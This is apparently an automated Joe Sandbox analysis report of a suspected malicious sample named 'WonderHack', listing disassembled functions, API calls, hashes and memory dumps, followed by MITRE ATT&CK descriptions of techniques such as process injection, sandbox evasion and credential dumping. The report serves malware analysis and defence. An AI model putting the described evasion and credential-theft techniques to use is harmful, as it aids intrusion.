LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00CBDD70

Strings

api-ms-, xrefs: 00CBDD55

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: e983bf86b4b9245f0bf0cd7b85a8838826739da621f19149f5795613feb8ca25
Instruction ID: 6ed15c957997e20fb58fe9c7a97230ee9d2186fcedca4a0b6c71a0dad968491a
Opcode Fuzzy Hash: e983bf86b4b9245f0bf0cd7b85a8838826739da621f19149f5795613feb8ca25
Instruction Fuzzy Hash: 34E04F70380605B7EB111B71EC06FAD3B54AF20B41F144570F94EE80E1FB72A9209994

Function 00CBB0D7 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0BDF5ED4,00000000,00000000,?), ref: 00CBB13A

Part of subcall function 00CB32D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00CB4A78,?,00000000,-00000008), ref: 00CB3332

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00CBB38C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00CBB3D2
GetLastError.KERNEL32 ref: 00CBB475

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 8d7c6606defa84f09475a25a421d05c5945c8dbd13664f12654422df8254fa04
Instruction ID: eeb3c62fad7615f9a22a415389832958dc9136c7102e91aa29c0de28da6c94cb
Opcode Fuzzy Hash: 8d7c6606defa84f09475a25a421d05c5945c8dbd13664f12654422df8254fa04
Instruction Fuzzy Hash: 57D179B5D012489FCB15CFA8D890AEDBBB4FF49304F28412AE466EB252D770AD42CF50

Function 00CB254D Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00CB2614
___AdjustPointer.LIBCMT ref: 00CB2637
___AdjustPointer.LIBCMT ref: 00CB26D3

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 2617fc9c27c156e4c1ef752bca1ac778108844306f2cb599730e1a8cc4f7a2f6
Instruction ID: 7f91b2d7799428d179dceba928d2a92b58d5b4092e08265aafb67d176b5565cf
Opcode Fuzzy Hash: 2617fc9c27c156e4c1ef752bca1ac778108844306f2cb599730e1a8cc4f7a2f6
Instruction Fuzzy Hash: 77510172A01206AFDB288F55D840BEAB3B4FF45714F15052EFC218B2A1E731EE44DB90

Function 00CB8F03 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00CB32D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00CB4A78,?,00000000,-00000008), ref: 00CB3332

GetLastError.KERNEL32 ref: 00CB8F67
__dosmaperr.LIBCMT ref: 00CB8F6E
GetLastError.KERNEL32 ref: 00CB8FA8
__dosmaperr.LIBCMT ref: 00CB8FAF

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 3b4889989c7e3f0d14fc68726bfc6eb1cbb01dda3c33cfce60bded43b1224da3
Instruction ID: fd60558959eada20932296fcfb284893c1e241f90453f7bc61be7f857e259db1
Opcode Fuzzy Hash: 3b4889989c7e3f0d14fc68726bfc6eb1cbb01dda3c33cfce60bded43b1224da3
Instruction Fuzzy Hash: E921A771604216AFDB10AFA2D8859BBB7AEFF15364B108519F82997190DF30EE04DFA0

Function 00CA97A2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c510a800906c06031ebd754848f6284b5059810e4a930456c61226414f3b4ca
Instruction ID: ca86ea10f85606cb7b42c6cc43ae820441b0fd665492ae6e7966b5c670b4c97a
Opcode Fuzzy Hash: 4c510a800906c06031ebd754848f6284b5059810e4a930456c61226414f3b4ca
Instruction Fuzzy Hash: AD218731200217AFDB10AF66DC86DAA77ADFF4336CB104524F926D7691E734ED109BA0

Function 00CBA2F9 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00CBA301

Part of subcall function 00CB32D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00CB4A78,?,00000000,-00000008), ref: 00CB3332

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00CBA339
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00CBA359

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: a50271fc9c27b77633ee039633b90e4aca2c9a73d053798de6565b381c0ade01
Instruction ID: e11625725e499e9452c65c99758fb5bb229f931b73f56c6c125f4cb55ada83c0
Opcode Fuzzy Hash: a50271fc9c27b77633ee039633b90e4aca2c9a73d053798de6565b381c0ade01
Instruction Fuzzy Hash: 4A11D2F5A012557FA71237BA9C8DDEF2ADCEE843A9F500124F846D2151FA24DF0192B6

Function 00CA4399 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00CA43A0
std::_Lockit::_Lockit.LIBCPMT ref: 00CA43AA

Part of subcall function 00C94D90: std::_Lockit::_Lockit.LIBCPMT ref: 00C94DBE
Part of subcall function 00C94D90: std::_Lockit::~_Lockit.LIBCPMT ref: 00C94DE9

codecvt.LIBCPMT ref: 00CA43E4
std::_Lockit::~_Lockit.LIBCPMT ref: 00CA441B

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: f6a379e71117806fb4d3a527d5420214101fbd5f0c73c85a224ac740a36c27f9
Instruction ID: f86c7fcb18d4493f9a778e2045c287080afe2e820abc1ad766d9b40c5b15c21d
Opcode Fuzzy Hash: f6a379e71117806fb4d3a527d5420214101fbd5f0c73c85a224ac740a36c27f9
Instruction Fuzzy Hash: 1F01967590112A9BCF09EB64D905BBDB771AF85319F294519F410A7291CF709E01E790

Function 00CC21E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,00CC16CF,00000000,00000001,?,?,?,00CBB4C9,?,00000000,00000000), ref: 00CC21F7
GetLastError.KERNEL32(?,00CC16CF,00000000,00000001,?,?,?,00CBB4C9,?,00000000,00000000,?,?,?,00CBAE0F,?), ref: 00CC2203

Part of subcall function 00CC2254: CloseHandle.KERNEL32(FFFFFFFE,00CC2213,?,00CC16CF,00000000,00000001,?,?,?,00CBB4C9,?,00000000,00000000,?,?), ref: 00CC2264

___initconout.LIBCMT ref: 00CC2213

Part of subcall function 00CC2235: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00CC21D1,00CC16BC,?,?,00CBB4C9,?,00000000,00000000,?), ref: 00CC2248

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,00CC16CF,00000000,00000001,?,?,?,00CBB4C9,?,00000000,00000000,?), ref: 00CC2228

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: cd0fd5e88a7d51c19a32a91ead1180a647d04bb50d8f346b20e905b950ec2373
Instruction ID: dbd1b987e27596b66e975ab0461cb77d0ddc62894e8d74a24f4a276026f588bb
Opcode Fuzzy Hash: cd0fd5e88a7d51c19a32a91ead1180a647d04bb50d8f346b20e905b950ec2373
Instruction Fuzzy Hash: 6AF0AC36511115BBCF262FD5DC08F9E7F66FB493B1B054125FE1995120DB728920AB90

Function 00CB7AE3 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CB3413: GetLastError.KERNEL32(00000000,?,00CB5749), ref: 00CB3417
Part of subcall function 00CB3413: SetLastError.KERNEL32(00000000,?,?,00000028,00CAF7C9), ref: 00CB34B9

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00CAD04D,?,?,?,00000055,?,-00000050,?,?,?), ref: 00CB7BA2
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00CAD04D,?,?,?,00000055,?,-00000050,?,?), ref: 00CB7BD9

Strings

utf8, xrefs: 00CB7CAB

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 3d664294a0b12362cefb849289553384bfd306dbd5dfeba46acbedefe3b9e28a
Instruction ID: 7235ab547f55b26cb7cfff21ae6810aaf4d7be8c44baf592d6404ec88a201ae1
Opcode Fuzzy Hash: 3d664294a0b12362cefb849289553384bfd306dbd5dfeba46acbedefe3b9e28a
Instruction Fuzzy Hash: 32510531608315ABDB25AB74CC42FEA77A8EFC4700F10066DFD259B181FA70EA40DBA5

Function 00CB2C4A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00CB2B4B,?,?,00000000,00000000,00000000,?), ref: 00CB2C6F

Strings

MOC, xrefs: 00CB2C81
RCC, xrefs: 00CB2C89

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 8da995c2297eef3582e997dc565ef46bb3e8f9b5d48b52ebc39423080c88fd66
Instruction ID: e5669d1c34dc4327cb8b316301bb0be1ae35ee52ccb07143ce4e5bef3f6b82cd
Opcode Fuzzy Hash: 8da995c2297eef3582e997dc565ef46bb3e8f9b5d48b52ebc39423080c88fd66
Instruction Fuzzy Hash: 32416972900209AFDF26DFA8CD81AEEBBB5FF48304F188199F914A7221D3359A50DB51

Function 00CB24B6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00CB272D

Strings

csm, xrefs: 00CB274F
csm, xrefs: 00CB27C0

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 77a5cfb530ea8ae895fd61f6bf0a53aa88d10fb72eb5e9eb1e27165186a66308
Instruction ID: c9ee65b74c312f3727477516dc28cc0989aebadad4745b2e82db0aa91d55bc03
Opcode Fuzzy Hash: 77a5cfb530ea8ae895fd61f6bf0a53aa88d10fb72eb5e9eb1e27165186a66308
Instruction Fuzzy Hash: A531D136400219ABCF268F50CC459EABB66FF18715F18855AFC64591A1C733CEA2EBD1

Function 00CA308C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00CA3114
RaiseException.KERNEL32(?,?,?,?), ref: 00CA3139

Part of subcall function 00CA7223: RaiseException.KERNEL32(E06D7363,00000001,00000003,00CA5F93,?,?,?,?,00CA5F93,00001000,00CCE1AC,00001000), ref: 00CA7284

Part of subcall function 00CAF7B9: IsProcessorFeaturePresent.KERNEL32(00000017,00CAA37B,?,?,?,?,00000000), ref: 00CAF7D5

Strings

csm, xrefs: 00CA30C8

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: a5a86c83e9159545bc9a9a7e418fe1a727e505b01e9c7b3a5e8076a42f5723bf
Instruction ID: 9b947fa6b3b4bdc0ac7e474d9eadb82ae301866efa5b10e53aa66e416f68eff5
Opcode Fuzzy Hash: a5a86c83e9159545bc9a9a7e418fe1a727e505b01e9c7b3a5e8076a42f5723bf
Instruction Fuzzy Hash: C721BB32D00219ABCF24DFE9DD55AAEB7B9EF06718F140419F526AB250CB30AF45CB91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
